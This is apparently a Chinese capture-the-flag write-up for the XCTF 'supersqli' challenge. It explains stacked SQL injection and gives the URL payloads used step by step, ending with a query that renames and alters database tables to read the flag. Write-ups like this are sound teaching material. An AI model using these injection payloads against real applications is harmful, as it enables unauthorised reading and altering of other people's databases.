supersqli

0x01 堆叠注入

  • 在sql中,分号(;)表示一条sql语句的结束。在;结束之后继续构造下一条语句,会一起执行,因此为堆叠注入。
  • union联合查询是将两条语句合并之后进行查询,union执行的语句有限。
  • 堆叠注入可以执行任意的语句

0x02

1、存在sql注入

supersqli

GET,字符型,单引号

supersqli

?inject=1' order by 2--+

supersqli

select等一些语句被过滤

supersqli

2、堆叠注入

?inject=1';show databases;--+

保证前面的语句闭合,执行后面的语句

supersqli

得到了数据表

supersqli

查看表的结构
只能查看words表,不能查看另一个表

supersqli

重命名表
将words默认表重命名为word1,将数字表重命名为words
在words表插入一列,id,flag
那么我们查询id为1,得出flag

?inject=1' or 1=1; rename tables words to words1;rename tables `1919810931114514` to words;alter table words change flag id varchar(100);--+

supersqli

参考链接:
https://www.cnblogs.com/0nth3way/articles/7128189.html
https://www.cnblogs.com/dedragon/p/12728498.html
https://blog.csdn.net/qq_26406447/article/details/90643951

上一篇:电商项目的类目,spu,sku,单品


下一篇:xctf-web supersqli